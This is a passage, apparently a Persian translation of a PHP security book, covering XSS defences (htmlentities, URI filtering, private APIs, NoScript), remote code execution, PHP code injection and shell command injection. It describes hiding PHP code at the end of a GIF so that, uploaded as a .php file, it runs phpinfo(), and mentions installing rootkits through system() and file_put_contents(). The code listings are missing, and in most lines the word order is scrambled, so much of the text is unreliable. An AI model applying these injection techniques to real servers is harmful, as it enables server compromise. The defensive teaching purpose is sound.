 .آیند دستبه POST_$ مقادیر از باید یک کدام و بود خواهند قبول قابل GET_$ مقادیر

 کاریجریان باشد. یکمی برنامه درون کاریجریان ریزیبرنامهجهت  زمان بهترین نیز طراحیی مرحله

 مفروض،ی صفحه هرجهت  تا دهدمی اجازه دهنده توسعه به باشد شده تعریف خوبی به که

 در شده )بحث هستند انتظار مورد ادامه درها درخواست کدام که کند ایجاد امر این بر را هاییمحدودیت

 دور را تایید مهم مراحل یا و است آمده ناکجا از رسدمی نظر به که را درخواستی هر هشتم( و فصل
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 نتایج توانندمی کاربرهای پست در کد به ندادن یا دادن اجازه خصوص در نماید. تصمیمات رد زند،می

 باشند.  داشته بر در نیز برنامه طراحیجهت  را مهمی

 مورد را XSS حملات به حساسیت کردنکم مختلفهای روش کامل، صورت به ما بخش، این در

 را انتقالی لایه امنیت خصوص در محبوب تفاهم سوء یک باید ابتدا، در داد. ولی خواهیم قرار بررسی

 نماییم.  رفع

7.4.1 SSL مانع XSS شودنمي  

بود.  خواهد مشروع کد مانند به XSSی حمله یک سرور، هم و مشتریجهت  هم که است توجه شایان

ssl باشدمی حمله یک موفقیت بر ناچیزی تاثیر دارای. 

(faq.shtml#ssl-http://www.cgisecurity.com/articles/xss  اطلاعاتجهت  .)بیشتر 

 ممانعت هاXSS از تعدادی از ، PHPی جلسه در مشتری یک SSLی جلسه IDی ذخیره حال، این با

 IPهای آدرس شود؛ دزدیده document.cookie توسط تواندمی PHPی جلسه ID کند. یکمی

 هیچ شوند. ولی ارسال توانندمی آن مشابه و کاربر عاملجهت  مشابه هدرهای شوند؛ جعل توانندمی

 روشی هیچ بنابراین و ندارد وجود SSL خصوصی کلید یک به دسترسیجهت  ایشده شناخته روش

 محلی سایت نویسیاسکریپت مانع تواندنمی SSLشد.  نخواهد وجود SSLی جلسه یک جعلجهت 

 مانع کند. ولیمی ایجاد را مخرب درخواست یک و خوردمی گول اعتماد مورد کاربر یک آن در که شود

 شد.  خواهد سایتیبین روش از استفاده با ایمنی جلسه یک کردن هایجکجهت  مهاجم یک

 ها استراتژی 7.4.2

 دست کاربر ورودی ندهیم اجازه هیچگاه که است این XSS از ممانعتجهت  استراتژی تریناصلی

 را روش پنج ما بخش، این . در)یعنی ورودی های کاربر به نوعی رمز گذاری شود(بماند باقی نخورده

 که دهیممی ممکن( ارائه حد )تا مسئله ین ازا اطمینانجهت  کاربر ورودی نمودن فیلتر یا تغییرجهت 

 شود.  XSS اکسپلویت یک ساخت به موفق نتواند ورودی این

http://www.cgisecurity.com/articles/xss-faq.shtml#ssl
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 HTML غیر کاملا خروجي یک در HTML  رمزگذاری 7.4.2.1

 XSSی حمله یک اجرایجهت  معمول روش یک ایم،نموده بیان فصل این در قبلا که طورهمان •

 را حمله اسکریپت که باشدمی onload یا srcی خصیصه یک با HTML المان یک تزریق شامل

 راموجود در ورودی کاربر  کاراکترها تمامی  ، PHP در ()htmlentities کند. تابعمی فعال

)یعنی عملیات پاکسازی کدها  به عبارت دیگر سازد.می ضرربی راها آن نتیجه، در وبررسی کرده 

 .را انجام می دهد( کدهای خروجیفیلتر نمودن ورودی های کاربر و همچنین 

 استفاده مورد نباید و است بالاتری محدودیت دارای ()htmlspecialchars یعنی آن به مربوط تابع 

 نمود:  استفاده تابع این از توانمی چگونه که دهدمی نشان زیر اسکریپت گیرد. تکه قرار

 

 ()safe تابع به را آن شما کاربر، ورودی دریافت از است. بعد واضح توجهی قابل شکل به کد تکه این

 اعمال آن، به شده دادهعبور  مقدار هرجهت  را پیاچپی،  ()htmlentities تابع که کنیدمی ارسال

 نیز جاوااسکریپت افزودن مانع نتیجه در و شودمی HTML نمودن اضافه مانع کاملا امر کند. اینمی

 دهید. می نمایش را ورودی از آمدهبه دست  ایمنهای ویرایش ادامه، شد. در خواهد
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 موجب که کندمی بدل اشیا به را یگانه و دوگانه قول نقل علامات همچنین ()htmlentities تابع

 شد:  خواهد زیر ممکن فرم المان نوع دو هرجهت  ایمن مدیریت از اطمینان

 

 است( . بنابراین، عادی غیر اندکی که )هرچند است قانونی یگانه( کاملا قول نقل علامات )با دوم ورودی

 است پارامتر گیرد. این قرار استفاده مورد ()htmlentities با باید همواره ENT_QUOTES پارامتر

 یک و کند؛ تبدیل 039&# شیء به را یگانه قول نقل علامت یک که گویدمی ()htmlentities به که

 رندر را کد این مرورگرها اغلب که حالی نماید. در تبدیل 034&# شیء به را دوگانه قول نقل علامت

 که است دلیل همین به که نکنند، را کار این است ممکن قدیمیهای مشتری از تعدادی کنند،می

htmlentities() دهد. تنظیماتمی ارائه را قول نقل علامتی ترجمههای روش بین انتخاب یک 

ENT_QUOTES به نسبت بالاتری انعطاف نتیجه در و بودهتر کارانه محافظه ENT_COMPAT 

 دهیم. می پیشنهاد را آن ما که است دلیل همین به دارد، ENT_NOQUOTES طور همین و

  کاربر توسط ارسالي هایURI تمامي سازیپاک 7.4.2.2

 را شخصی آواتار یا آیکون یک مثال )برای نمایند وارد را URI یک تا دهید اجازه کاربران به اگر

 باید نمایند(، ایجاد کاتالوگ یا دایرکتوری یک در را تصویر بر مبتنیهای لینک یا و نمایند مشخص

: vbscript : یاjavascript با اسکریپت های شده آلوده هایURI از توانندنمی هاآن که شوید مطمئن

 مختلف،های بخش از مربوطههای آرایه به را URI یک ،59پیاچپی parse_url() نمایند. تابع استفاده

 )چیزی سازدمی ساده را کندمی اشاره چیزی چه به scheme کلید اینکه بررسی امر کند. اینمی تقسیم

 :(.javascript انندم قبول قابل غیر چیزی یا :ftp یا :httpقبیل از قبول قابل

 اشاره ،الصاقی کوئریی رشته یک به که بود خواهد query کلید یک شامل همچنین ()parse_url تابع

 اجازه باشد. بنابراین، موجود چیزی چنین ( اگرهاآن از مجموعه یک یا GET_$  متغیر یک )یعنی دارد

 داشته وجود مواردی است ممکن حال، این شد. با خواهد ساده ها،URI در کوئریهای رشته به ندادن
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 زمانی مثل شد، خواهد شما کاربران سردرگمی باعث URL یک کوئری بخش حذفها آن در که باشد

 کنند.  اشاره سایت، یک به URI یک با خواهندمی که

 موردهای سایتجهت  هاURI روی بر را کوئریهای بخشی اجازه که بخواهید است ممکن ادامه، در

 وارد example.comجهت  را قبلی URI مشروع، شکل به بتواند کاربر یک که طوری به بدهید اعتماد

 کند. 

 به لینک اینی دامنه نام نوشتن از عبارت کاربران توسط ارسالیهای لینکجهت  دیگر حفاظت یک

 : Slashdot روش ،هست لینک خود کنار در ساده متن صورت

 

 سایت یک بهها لینک نمودن دنبال از قبل معمولی کاربر یک که است این دفاع اینی پایه تئوری

 .باشد بدی نام دارای که سایتی الخصوصعلی نمود خواهد دقت اعتماد، قابل غیر یا ناشناخته

 کنید ایجاد کد، این مثل کاربر توسط ارسالی هایURIجهت  را فیلتر یک توانیدمی شما
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 ایجاد دارید اعتمادها آن به که را هاییمیزبان از آرایه یک است. شما واضح زیادی حد تا نیز کد تکه این

 تابع از استفاده با آمده دست )به کاربر ارسالی URIمیزبان  بخش که تابع یک و کنید،می

parse_url()تطابق یک کند. اگرمی مقایسه اعتماد، قابلهای هاستی آرایه در موجود موارد با را 

 خود به را URIمیزبان  بخش نیافتید، تطابقی دهید. اگرمی نمایش تغییر بدون را URI شما یافتید،

URI که ایدکرده ایجاد فرصتی کاربرجهت  شما حالت، این دهید. درمی نمایش را آن و نموده اضافه 

 یا کردن کلیک خصوص در آگاهانه تصمیم یک و ببیند کند،می اشاره آن به لینک این که را واقعیمیزبان 

 بگیرد.  آن نکردن

 HTML ورودی روی بر شده اثبات XSS فیلتر یک از استفاده 7.4.2.3

 باید شما و باشد HTML شامل مناسبی شکل به تواندمی کاربر ورودیها آن در که دارد وجود مواردی

 را فیلتر یک که دارد وجود امکان این نظری لحاظ باشید. از دقیق ورودی، چنینی درباره الخصوصعلی

 را ممکن موارد تمامی توانمی سختی به ولی نماییم طراحی کاربر، ارسالی HTML نمودن خنثیجهت 
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 بسیاری مجموعه یک از که بیابید اجازهجهت  را روشی که بود خواهید مجبور گرفت. شما نظر در

 یا جاوااسکریپت رخداد مدیریت خصایص تصاویر، شامل امر این و کندمی استفادهها تگ از محدود

 را HTML منافع از زیادی بسیار تعداد که دریابید است ممکن نقطه، این باشد. درنمی استایل خصایص

 بدهید.  را متنی اجازه تنها ،نامشخص کاربران سوی از حداقل که بود خواهد بهتر که اید داده دست از

 قابل که شوید متوجه است ممکن کندمی کار نظر به که شوید روتین یک ایجاد به موفق شما اگر حتی

 باشد. می مرورگر ویرایش حتی یا و مرورگر بر مبتنی که چرا نیست عتمادا

 و بایتی چند کاراکترهای از پشتییبانیجهت  اینترنت استانداردهای توسط نیاز مورد انعطاف علاوه، به

 شکست نیز را ن نمود فیلترهای استراتژیجهت  کد آمیزتریننبوغ حتی توانندمی مختلفهای رمزگذاری

 پنج اینجا، دارد. در وجود مفروض کاراکتر هر دادن نشانجهت  زیادی بسیارهای روش که چرا بدهند

 رمزگذاریای گونه به کدام هر که شودمی داده ارائه خطی تک خطرناک اسکریپت یک از متفاوتی گونه

 با ولی هستند(، یکی دقیق شکل به اصولا که )هرچند نمایدمی متمایز دیگران از کاملا را آن که اندشده

 شود:  رندر ایمیل، مشتری یا استاندارد مرورگر یک توسط سادگی به تواندمی کد این حال، این

 ساده:  متن

 

 کاراکتر(:  از هگزادسیمال ASCII مقدار یک ادامه، در و درصد علامت )یک URL رمزگذاری

 

 و کاراکتر این ASCII هگزادسیمال مقدار ادامه، در و x&# کاراکتر )سه HTML هگزادسیمال اشیا

 ویرگول(:  نقطه یک سپس
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 کاراکتر(: این دسیمال ASCII مقدار ادامه، در و &# کاراکتر )دو HTML دسیمال اشیا

 

 با رمزگذاری روش این خصوص در بحثيجهت  اول )ن.ک. فصل Base64 رمزگذاری 7.4.2.4

 ساده(:  سازی وارون قابلیت

 

 را فیلتر یک که باشد پذیرامکان نظری لحاظ از است گفتیم( ممکن قبلا که طورهمان) که حالی در

 یک عنوان به دهد، تشخیص را یکسان چیز یک مختلفهای نمایش این از کدام هر که نماییم طراحی

شد.  نخواهد انجامعتماد ا قابل شکلی به فرد یک عمر طول در زیاد احتمال به امر این عملی، امر

 دلیل این کند( به طور )همین باشند زامشکل الخصوصعلی توانندمی منظمهای برنامه بر مبتنی فیلترهای

 شوند.  بررسی باید که دارد وجود مختلف الگوی زیادی تعداد که

 ماژول قبیل از کد بررسیی کتابخانه یک از باشیم. استفاده ناامید کامل، صورت به که خواهیمنمی ما

Tidy در PHP  خواهدکرد کمک شما به زیادی حد تا.  

  حساس بادلاتمجهت  خصوصي API یک طراحي 7.4.2.5

 فعالیت یک رخداد به منجر که URI یک غیرعمدی درخواست برابر در خود کاربران از حفاظت برای

 تمامیجهت  را خصوصی کاربری رابط یک که دهیممی پیشنهاد شد، خواهد شمای برنامه در نامطلوب

 سایت جایبه ،bank.example.com یا private.example.com قبیل از حساس،های فعالیت

 از که بپذیرید رابط آن به را هاییدرخواست تنها کنید. سپس ایجاد example.com یعنی خود عمومی

 متغیرهای از مهاجمی استفاده امکان صورت این به )که اندشده ارسال POST_$  متغیرهای طریق

$_GET بریدمی بین از را .) 

 کنید، ترکیب خود رابط به ارسالیهای فرم تمامیجهت  ارجاعی مقدار بررسی یک با را محدودیت این

 این:  مثل
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 شد: خواهد زیری حمله قبیل از جعلیهای فعالیت مانع ،بالا تست قبیل از تست یک

 

 

 از عبارت دهندمی قرار شما سیستم در را چیزی چه واقعا کاربران اینکه بررسیجهت  روش تنها

 را کار این موثر انجام چگونگی پنجم فصل در ، هست.شودمی داده نمایش که آپیمارک گیرینادیده

 دهدمی نشان راتر عملی احتمالا ولیتر پایین ایمنی باکوچکی  سیستم یک زیر کد نمودیم. تکه تشریح

 .شودمی فراخوانی انتخابی صورت به خروجی تمامیانگاشتن نادیدهجهت  تابع یک آن در که
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 توسط حالت، این )در گیرد قرار دسترسی مورد خصوصی رابط یک سوی از اگر ،()safe تابع

private.example.com،) آن در موجود کد نوع هر کهای گونه به گیردمی نادیده راها ورودی تمامی 

 چه واقعا شما کاربران که ببینید که دهدمی اجازه شما به روش شود. اینمی داده نمایش ایمن صورت به

 محض به را جدید حملات تا کند کمک شما به حتی است ممکن بنابراین و کنندمی وارد را چیزی

 کنید.  مشاهده ایجاد،

 اغلب حذفجهت  پیاچپی ()strip_tags تابع از نشود، فراخوانی خصوصی رابط از ()safe تابع اگر

 کنید اختیاری(. توجهی ثانویه رتپارام در شده مشخص )موارد کندمی استفاده ضرر،بی اشیا از غیر به اشیا

 خواهیدمی که ورودی اگر بنابراین است کارکتری 1024 محدودیت یک دارای ()strip_tags که

 هر تا نمایید تقسیم مناسبی اندازه باهای قطعه به را آن باید باشد، مقدار این ازتر طولانی نمایید استریپ

بچسبانید.  هم به را ورودی کل کار، اتمام از بعد و نموده مدیریت جداگانه صورت به راها آن از کدام

 نمودن مشخص با </ hr> و </ br> یعنی XHTML یکتایهای تگ که کنید توجه همچنین

 سوی شوند. ازمی سازیپاک ،XHTML جدید اشکال ( یا<br> )مثل HTML قدیمی برابرهای
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 سازیپاک <img> یعنی HTML برابری توسط تنها <... / img> با برابر XHTML تگ دیگر،

 شود..می

  دارید انتظار کاربران از که هایيفعالیت بینيپیش 7.4.2.6

 تعیین را هاییفعالیت از محدودی تعداد جاری، درخواست براساس که دارد وجود امکان این معمولا

 سند ویرایش فرم یک درخواست کاربر اگر مثال،جهت  داد. خواهد انجام ادامه در کاربر یک که نمود

 یا و باشد پردازشجهت  ویرایش فرم این ارسال ،وی بعدی فعالیت که داشت خواهید انتظار شما نماید،

 انجام را سایت از دیگر بخش یک از ناشی غیرمرتبط فعالیت یک که دنداری انتظار وی از کار. شما لغو

 دهد. 

 گول را کاربر که XSS حملات از جلوگیری و تشخیص به تواندمی این قبیل از بینیپیش سیستم یک

 نمود.  خواهد کمک دهد، انجام راای غیرمنتظره فعالیت تا زنندمی

 ادامه در که را درخواستی هایURI تمامی درخواست، هرجهت  بود؟ خواهد شکل چه به چیزی چنین

 ذخیره جلسه، درها سازیدرهم یاها رشته عنوان به راها آن و نماییدمی ایجاد را دارید انتظار کاربر از

 مورد هایURIی شده ذخیرهی آرایه با را جاری URI بعدی، درخواست از بعد ادامه، کنید. درمی

 کامل صورت به )که نمایید استفاده ،منطق نوعی از باید نداشت، وجود تطابقی نمایید. اگر مقایسه انتظار

 یا است ایمن درخواستی، URI آیا که کنید تعیین باشد( تامی شمای برنامه منطق و ساختار به وابسته

 نامطلوبی کار که نیست تلاش در و باشد رفته سایت از دیگری بخش به تنها کاربر است )ممکن خیر

 بخواهید کاربر از تا کنید صادر را فرم یک توانیدمی بگیرید، تصمیمی چنین توانیدنمی دهد(. اگر انجام

 دهد.  انجام را عمل این دارد قصد واقعا که کند تایید که

7.4.3 XSS در مرورگرها 

افزونه ی  فیلتر شده است. XSSقابل ذکر است که در مرورگرهای امروزی بخشی از حملات 

NoScript  در مرورگرfirefox  .تعدادی گزینه دارد که وبگردی در فایرفاکس را خیلی امن تر می کند

دسته بندی عمومی به شما اجازه می دهد به طور پیش فرض به سایتهای سطح بالا اجازه ی اجرای 

ها امنه(، دhttp://www.noscript.netاسکریپت داده، یا می توانید از آدرس های کامل )

(www.noscript.net و یا از )دامنه( های پایه سطح دوnocript.net.استفاده کنید ) 

http://www.noscript.net/
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هنگامیکه سطوح دسترسی تغییر می یابد باید به طور اتوماتیک صفحات تاثیر یافته را دوباره بارگزاری 

یت های باز شده از طریق بوکمارک اجازه ی بارگزاری دهید. علاوه بر این موارد می توانید کنید و به سا

را برای اجرای بدون محدودیت همه اسکریپت ها انتخاب کنید، اما  allow scripts globallyگزینه 

NoScript طرناک به کاربران پیشنهاد می کند که از این گزینه استفاده نکنند چون می تواند بسیار خ

 .باشد

می باشد که برای مرورگر کروم  No Scriptt یکی از افزونه های جایگزین Script Defender افزونه

های المانطراحی شده است. این افزونه به شما این اجازه را می دهد تا اسکریپت ها، پلاگین ها و سایر 

تر خواهید فعال کند. بنابراین امند را غیر موجود در صفحات وبی که با مرورگر کروم مشاهده می کنی

لحاظ شود و بهتر است به امنیت مرورگر اعتماد  XSSهای امنیتی در پایان پیشنهاد که همه حفره .ماند

 چندانی نکنید.

 XSSی استفاده سوء برابر در حفاظتجهت  تست 7.5

 خودهای اسکریپت داشتننگه ایمن از مهم بخش یک ،ایمکرده بحث قبلیهای فصل در که طورهمان

 . هست ممکنهای نقصجهت  هاآن نمودن تست از عبارت

 یک حالت، این در حال، این نمودیم. با ایجاد شما کارجهت  راای نمونههای تست ما فصول، سایر در

 قبلا که Safe_Htmlی پروژه همان که دارد وجود درونی تست امکان یک و بازمنبع سازیپاک روتین

 بنابراین و کنیم کپی اینجا استموجود  آنجا در که را چیزی که نداردای فایده نمودیم. هیچ اشاره آن به

ی توسعهجهت  راهنمایی از حداقل یا و نمایید خودهای برنامه وارد را آن شما که دهیممی پیشنهاد

 کنید.  استفاده خود شخصیهای حلراه

 بالقوه صورت به که شود تست ، هاورودی تمامی توسط حداقل باید کنیدمی ایجاد که فیلتری نوع هر

 . یا خیر هستند اکسپلویت یک ایجاد به قادر

  خلاصه 7.6

های اکسپلویت برابر در خود کاربرانهای داده داشتننگه ایمن چگونگی با را فصل این ما

 انواع نمودیم. ما آغاز آن، کار چگونگی و XSS چیستی دقیق توضیح با سایتیبین نویسیاسکریپت

 راها آن و نموده فهرست را باشد داشته وجود راستا این در است ممکن که را نویسیاسکریپت مختلف
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 قرار نظر مد را ممکن XSSهای روش از کدام هر و کردیم تقسیم نویسیاسکریپت چنین از گونه دو به

 دادیم. 

 SSL ارتباط چرا اینکه پیرامون بحثی از پرداختیم. بعد XSS از جلوگیریجهت  هاییروش به سپس

 ارائه کاربر ورودی مدیریتجهت  رابعدی  مختلفیهای استراتژی ما کند،نمی تلاش این به کمکی هیچ

 کردیم: 

 باشد( داشته HTML محتوای رودنمی انتظار که ورودی )در HTML اشیا رمزگذاری •

  هاURI سازیپاک •

  شدهشناخته XSSی استفاده سوءهای تلاش نمودن فیلتر •

  خصوصی هایAPI در حساسهای فعالیت جداسازی •

 کاربران بعدیهای فعالیت بینیپیش •

 دادیم. ارائه ،حفاظت تستهای روشجهت  را پیشنهاد یک ادامه در و
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 دور راه از اجرای از :جلوگیری هشتم فصل 8

 ادامه دور راه از اجرای حملات بررسی با را PHP در امن یسینوبرنامه پیرامون خود بحثدر این فصل 

های اسکریپت یا دستورات اجرای منظور به شمای برنامه درونی منطق از استفاده سوء شامل که دهیممی

 با مشابه شکلی هفتم( به فصل در شده )بررسی سایتیبین نویسیاسکریپتباشد. می سرور روی بر دلخواه

 مرورگر در کد اجرای حالت، این در حال، این با شود؛می انجام مخرب کد حاویهای اسکریپت افزودن

 محیط در دور راه از اجرای دیگر سوی از اما .ندارد روی سرور بر تاثیری واقعا و شودمی انجام مشتری

 است.  جدی بسیار مشکل یک واقع در که دهد،می رخ سرور روی بر شمای شده حفاظت

 جلوگیریجهت  دهیدمی انجام خود سرور محیط نمودن ایمنجهت  شما که کارهایی از بسیاری که حالی در

 دفاعی، خط اولین گردند،می انجام دور، راه از اجرای از ناشیهای تخریب نمودن محدود حداقل یا و

)استفاده از نباشند شده افزوده دستورات شامل شما PHP ورودی مقادیر که است امر این از اطمینان

 فیلترکردن طریق از توانمی را حملاتی چنین از بسیاری از . جلوگیریدستورات درون یک فایل خارجی(

 کافی حد به بالقوه نقص ولی داد، انجام پنجم، فصل در شده بحث شکل به متاکاراکترها،ی هوشمندانه

 از شما سرور کنترل معنای به دور راه از اجرای حال، هر باشد. به اضافی اقدامات نیازمند که است خطرناک

 سایرجهت  پایگاهی عنوان به شما سیستم از تا سازد قادر را مهاجم یک تواندمی امر این و است دور راه

 نماید.  استفاده مجرمانههای فعالیت یا حملات

 کندمي کار چگونه دور راه از اجرای 8.1

 قابل رابط یک از استفاده با را شمای برنامه مستقیم کنترل تا کندمی تلاش دور راه از اجرایی حمله یک

 آورد. به دست  ،نویسیاسکریپت

 دستور یک از بخشی عنوان به که کاربری ورودی از است عبارت دور راه از اجرایجهت  روش تریناصلی

 استفاده مورداستفاده شود(  PHP)یک دستور سیستمی که گاهی اوقات نیاز است به طور مستقیم در  شل

 ورودی با فرمان خطی برنامه یک فراخوانی نیازمند PHP اسکریپت یک که هنگامی مثلا گیرد،می قرار

 از بعد که نماید ایجاد را ورودی مقدار یک تواندمی هوشیار مهاجم یک ،باشدمی آرگومان عنوان به کاربری

 از اسکریپتیی مجموعه یک به کند اجرا را آن برنامه است قرار که را دستور هتک این شل، درون به تزریق

 دهند. می انجام را مهاجم دلخواه کارهای که نماید تبدیل دستوراتی
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 اجازه که هستند هاییبرنامه از دسته آن دور، راه از اجرای حملات به حساسهای برنامه کلی، طور به

 PHP توسط ()evalبه طور مستقیم در آرگومان ورودی تابع  کاربر سوی از ارسالی مقدار یک دهندمی

 ,()exec . این پنج تابع عبارتند از:شود تزریق PHPدر برنامه اجرای تابع پنج از یکی درون به یا و قرارگیرد

passthru(),proc_open(), shell_exec()  وsystem(). 

 . به آدرس مقابل مراجعه نمایید بیشتر جهت اطلاعات

  دور راه از اجرای خطرات 8.2

PHP قرار شما اختیار در کد رشته یک اجرای یا اسکریپت یک کردن الحاقجهت  را متفاوتیهای روش 

جهت  را خاصیهای احتیاط بایدها برنامه دهندگانتوسعه که ستا معنا این به قدرت این دهدمی

 یک به آن ارسال از قبل ،غیرایمنی داده نوع هر و دادهپایگاه مقادیر کاربر، ( ورودیescape) انگاشتننادیده

 کاربر ورودی سازیپاک از استتر حیاتی حتی یا و است حیاتی اندازه همان به امر دارند. این مبذول، تابع

 گرفت.  قرار توجه مورد قبلهای فصل در که

 از ممانعتجهت  را استراتژی تعدادی سپس و نموده ارائه را ممکن حملات از متفاوت نوع سه اینجا در ما

 دهیم. میارائه  مشکلاتی چنین

 PHP کد تزریق 8.2.1

PHP زمان در راها اسکریپت تا کندمی فراهم دهندگان توسعهجهت  راها روش از گوناگونی مجموعه یک 

 که دارد وجود مهاجم یکجهت  گوناگونهای روش تعداد همین که معنا این به. دهند قرار هم کنار در اجرا

 به باید حواستان الخصوص،کند. علی اجرا شما اسکریپت از بخشی عنوان به را خود PHP کد کند تلاش

 در PHPهای اسکریپت سایر اجرایجهت  که باشد زیر عملیات از کدام هر در کاربر ورودی به دادن اجازه

 گیرند: می قرار استفاده مورد جاری فرآیند

 ()require و ()includeهای فراخوان -

 ()evalهای فراخوان -

 eی دهنده الگو تغییر یک با ()preg_replaceهای فراخوان -

  نویسیاسکریپت قابلهای قالب -
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 نقص دارای چگونه ،خاص طور به عملیات این از کدام هر که دهیممی قرار نظر مد را موضوع این ما

 کنیم توجه که دارد اهمیت موضوع این تنها حاضر، حال کنیم. درمی ارائه نیز راای سادههای مثال و باشد،می

 دارد.  وجود شمای برنامههای اسکریپت درون،  PHP کد تزریقجهت  ممکن روش یک از بیش که

 انندددم PHP متغیددر یددک مقدددار نمددودن مشددخص تنهددا اسددت ممکددن ،PHP کددد تزریددق نهددایی هدددف

$dbPassword یک اجرای و نصب است ممکن یا و باشد root kit تواننددمی کهها فایل ازای )مجموعه 

 توابددع از اسددتفاده بددا (قرارگیرنددد اسددتفاده مددورد سددرور یددک کنتددرل گددرفتنبدده دسددت  جهددت

file_put_contents() و system() که دیگری چیز هر یا PHP است آن انجام به قادر.  

  ارساليهای فایل در PHP کد افزودن 8.2.2

جهت  PHP اسکریپت یک به شبیه اصلا که دهد قرار چیزی درون را PHP کد است ممکن مهاجم یک

 نظر در را 1-8 تصویر مثال، برای .pdf یا صوتی، فایل ارسالی، تصویر یک مثل نرسد، نظر به شمای برنامه

 مرورگر یک در ایمن ارتباط یکی دهنده نشان که locked.gif است، قفل مشهور آیکون همان که بگیرید

 .  باشدمی

 بزرگ چپ، سمت در اصلیی افزوده. اندازه PHP کد با locked.gif آشنا، طلایی قفل : آیکون1-8 تصویر

 راست در شده

 

 

جهت  echo شل دستور که چرا .باشدمی GIF تصویر یک ازر بیشت بینیدمی شما که چیزی واقعیت، در

 صورت این به است گرفته قرار استفاده مورد که ،آن انتهای به خطی یک PHP اسکریپت یک افزودن

 : هست
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 دستور که صورتی به نیست. ولی دیدن قابل شده افزوده PHP ببینید، اینجا تصویر در توانیدمی که طورهمان

 کد یک اینکه رغمعلی است image/gif از MIME نوع یک دارای تصویر این دهد،می نشان زیر فایل

 دارد:  وجود آن در افزوده

 

 قرارتر بزرگی داده جریان یک در خطی درون صورت به که است شده طراحیای گونه به GIF89a فرمت

 که شودمی آغاز بایت اندازه یک با یا و است ثابت طول دارای یا فایل این در داده از بلوک هر بنابراین .گیرد

 GIF یک به شدهافزودههای داده . بنابراین،هست طولی چه دارای بلوک این دقیقا که گویدمی رمزگشا به

 مدیریت یا و تصویر ویرایشی برنامه نوع دارند. هر قرار داده بلوک از خارج که چرا شوندمی گرفته نادیده

 پذیرد،می معتبر GIF تصویر یک عنوان به را فایل این ،PHP در ()getimagesize تابع شامل تصویر،

 باینری اطلاعات مقداری تنها فایل این انتهای در اضافیهای هست. داده نیز معتبر عکس یک واقع در که چرا

جهت  ویژگی گرفت. همین خواهند نادیده را آن کنند،نمی درک راها آن که هاییبرنامه و هستند افزوده

که آن را در ویرایشگر متنی باز  GIF)اگر مهاجم در انتهای فایل است.  صادق فایلهای فرمت از بسیاری

به کد تخریب  GIF89aو کد افزوده شده جهت تخریب را در انتهای فایل اضافه نماید، فرمت  نموده

ب اثری نمی دهد، همچنین تصویر معتبر خواهد بود و اگر کد تخریب را در وسط بلوک درج نماید ترتی

 (بر نخواهد بود.آنگاه تصویر دیگر معت

 یک در را تصویر باینری کد که دهید اجازه دارد، قرار اینجا در واقعا شده افزوده PHP کد اینکه اثبات برای

 است.  شده داده نشان 2-8 تصویر در که طورهمان کنیم، مشاهده یمتن گرویرایش

 locked.gif واقعی : محتوای2-8 تصویر
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 سرور وب از را آن سپس و نمودمی ارسال locked.php صورت به را عکس این مهاجم یک بود قرار اگر

 این که است این نمود. نتیجهمی اجرا PHP اسکریپت یک عنوان به را آن آپاچی کرد،می درخواست

 هدر شدند: یعنیمی ارسال مرورگرجهت  واقعی محتوای نوع با مستقیم صورت به باینریهای داده

text/html فراخوان خروجی و phpinfo()است.  شده داده نشان 3-8 تصویر در امر . این 

 

 

 

 locked.php از : خروجی3-8 تصویر

 

 به زیادی حد تا حمله گسترش در توانندمی که دهدمی را سیستمی اطلاعات مهاجم، به ()phpinfo تابع

 کنند.  کمک وی
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  شلهای اسکریپت یا دستورات تزریق 8.2.3

 مهاجم یکی بالقوه توانایی از عبارت اختیاری، PHP کد اجرای توانایی ازتر جدی حتی چیزی احتمالا

 اساس بر )که مجوز بدون کاربر یک عنوان به حتیکه  سیستمی سطح در اختیاری دستورات اجرایجهت 

 کاربران چنینبرای  را رابط یک PHPلازم به ذکر است . هست باشد(نمی لاگین شل یک دارای تعریف

 دهد. می انتقال شل به  ()exec تابع طریق از را دستورات و دهدمی ارائه ،مجوز بدون

 بسیار ولی نمایدمی ارائه مهاجم یک برابر در را قوی چهارم( حفاظت فصل در بحث )مورد ایمن حالت

 درها محدودیت این زدن دورجهت  را راهی توانست نخواهد مهاجم یک که کنیم فرض که است خطرناک

PHP را ایمن حالتی محدوده این از رفتن بیرونجهت  ممکنهای روش از تعدادی دهید بیابد. اجازه 

 دهیم:  قرار مدنظر

 ایمن حالتهای محدودیت تاثیر تحت Perl که است واضح :.Perl اسکریپت یک اجرای و ارسال -

PHP جاوا، پایتون، ندارد. همچنین قرار Ruby قابل یسینوبرنامههای محیط از کدام هر یا و 

 سرور روی بر است ممکن ( کهنویسیاسکریپتهای هاست عبارتی )به وب طریق از دسترسی

 . ، همینطور هستند.باشند نصب

 یونیکس دستورات از تعدادی :مشروع سیستمی دستور یک به منتظره غیرهای آرگومان افزودن -

 دستورات از استفاده با اگر نمایند اجرا را شل دستورات سایر حتی یا وها اسکریپت است ممکن

 شوند.  فراخوانی مناسب

 پنجم(. فصل در بحث )مورد مشروع سیستمی دستور یک در بافر سرریز یک از استفاده سوء -

 پذیرآسیب و داشته قرار خود جای در دیگرهای برنامه که هستند این به وابسته ،هایروش این تمامی البته،

 باشد. می واقعی دنیای در PHPی برنامه یکجهت  واقعی الزام یک ندرت به ایمن حالت باشند. ولی

 به شل متاکاراکترهای نام با مقادیر از کلاس یک افزودن با را اختیاری شل دستورات است ممکن مهاجم یک

 قرار بحث مورد پنجم فصل در کلی صورت به را متاکاراکترها نماید. ما اجرا ()exec فراخوان یک درون

 متاکاراکترهای از فهرست انداخت. یک خواهیم شل دستورات خاص بستر درها آن به نگاهی اکنون دادیم؛

 پنج دارای که است، شده آورده 1-8 جدول در ،x10\ نشده، معرفی جدید خط کاراکتر شامل شل با مرتبط

 هستند.  تایپ قابل سادگی به مورد یک جز به همگی که است، ممکن نمایش
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 شل با مرتبط : متاکاراکترهای1-8 جدول

 

 man در شل دستورالعملی صفحه در که هستند شل یکجهت  متفاوتی خاص معانی دارای متاکاراکترها

sh مثلا .بپردازید نویسیاسکریپت به فرمان خط یک از که دهندمی اجازه شما به موارد اند. اینشده تشریح 

 دیگری.  به یکی از خروجی ارسال و هم به دستورات زنجیرنمودن با

بر روی اغلب  PHPباشد که شامل توابع ی غیربازگشتی میبه طور پیش فرض، استفاده shکاربرد شل 

 باشد.  ها نیز میسیستم

 sh حتی . ولیاست صادق امر این باشدها قابلیت از سرشار csh یا bash فرضپیش لاگین شل اگر حتی

 دهد. می تشخیص درونی، دستورات عنوان به را 1-8 جدول علائم از بسیاری نیز ساده
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 PHP اسکریپت دهد، رخ است ممکن صورتی چه به چنینی اینی حمله یک که امر این دادن نشان برای

